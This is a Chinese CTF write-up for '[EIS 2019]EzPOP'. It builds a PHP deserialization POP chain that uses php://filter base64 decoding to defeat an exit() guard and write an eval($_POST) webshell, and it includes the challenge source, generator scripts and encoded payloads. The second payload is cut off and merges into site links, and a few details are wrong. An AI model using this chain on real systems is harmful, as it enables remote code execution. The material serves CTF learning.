[EIS 2019]EzPOP

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[EIS 2019]EzPOP相关的知识,希望对你有一定的参考价值。

[EIS 2019]EzPOP

考点

反序列化、POP链构造、绕过exit()

思路

题目提示的很明显,需要构造一个POP链,能利用的魔法函数只有 A::__destruct(),可能可以利用的敏感函数:B 类 set() 中的 file_put_contents()。先分析一下 file_put_contents() 函数是否满足利用条件:

$data = "<?php\\n//" . sprintf('%012d', $expire) . "\\n exit();?>\\n" . $data;
$result = file_put_contents($filename, $data);

在 exit() 代码后面拼接 $data 数据,然后写入文件。这样就会导致我们通过$data写入的shll都不会被执行。
exit()函数可以利用base64_decode以及php://filter可以绕过
具体用法参考P牛的文章

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

接下来开始寻找 POP 链;
接下来回溯看$filename和``$data`是怎么来的:
$filename:先调用getCacheKey($name),改方法是执行连接字符串的作用:$this->option[‘prefix’].$name构成filename;
$data:来自于 $this->serialize($value),所以再关注$value是怎么来的;$value是A::getForStorage()的返回值:json_encode([A::cleanContents(A::cache), A::complete]);;
A::cleanContents(A::cache)实现了一个过滤的功能,A::complete更容易控制,直接写为shellcode

在这里插入图片描述

尝试本地运行cleanContents():

<?php
function cleanContents(array $contents) {
    $cachedProperties = array_flip([
        'path', 'dirname', 'basename', 'extension', 'filename',
        'size', 'mimetype', 'visibility', 'timestamp', 'type',
    ]);

    foreach ($contents as $path => $object) {
        if (is_array($object)) {
            $contents[$path] = array_intersect_key($object, $cachedProperties);
        }
    }

    return $contents;
}
$a = array();
$b = '<?php eval($_POST["cmd"]);?>';
echo json_encode([clearstatcache($a), $b]);

?>
=>
[null,"<?php eval($_POST[\\"cmd\\"]);?>"]

可以看到直接complete写入shell会使shell中双引号被转义了,所以得考虑用base64编码绕过转义,再在之后解码;
由于之后可以让$this->options[‘serialize’]=base64.decode,这样和filter://就共有两处解码处理,所以对应这里考虑编码两次;

这里还要了解base64解码特点,base64解码的合法字符只包括[a-zA-Z1-9]+/这64个字符;
1、编码时:把明文每8位按6位查表转码,不足的位数用=补0
2、解码时:忽略[",:等64个字符之外的字符,然后逆运算就行
所以要求编码为4的倍数,由于shell前面的字符串中存在的base64编码有效字符只有php//000000000000exit21个字符,因此应该在shell前补上3个有效字符

Payload

题目源码

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\\n//" . sprintf('%012d', $expire) . "\\n exit();?>\\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

POP链_1

<?php

class A {
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($store,$key,$expire)
    {
        $this->key=$key;
        $this->expire=$expire;
        $this->store=$store;
    }
}

class B{
    public $option;
}

$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/';

$a=new A($b,'eval.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode('abc'.base64_encode('<?php @eval($_POST["a"]); ?>'));
//必须添加三个字符使得shell之前的字符串进行base64解码时不影响到shell

echo urlencode(serialize($a));
=>
O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22option%22%3BN%3Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A58%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Duploads%2F%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A8%3A%22eval.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A60%3A%22YWJjUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKaElsMHBPeUEvUGc9PQ%3D%3D%22%3B%7D

POP链_2

<?php

class A {
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($store,$key,$expire)
    {
        $this->key=$key;
        $this->expire=$expire;
        $this->store=$store;
    }
}

class B{
    public $option;
}

$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=string.strip_tags|convert.base64-decode/resource=uploads/';

$a=new A($b,'shell.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode(base64_encode('<?php @eval($_POST["cmd"]); ?>'));
echo urlencode(serialize($a));
?>
=>
O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22option%22%3BN%3Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A76%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Duploads%2F%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%以上是关于[EIS 2019]EzPOP的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF[2020 新春红包题]1 web

BUUCTF: [MRCTF2020]Ezpop

BUUCTF: [MRCTF2020]Ezpop

BUUCTF: [MRCTF2020]Ezpop

[MRCTF2020]Ezpop

[校赛] - Web - ezPop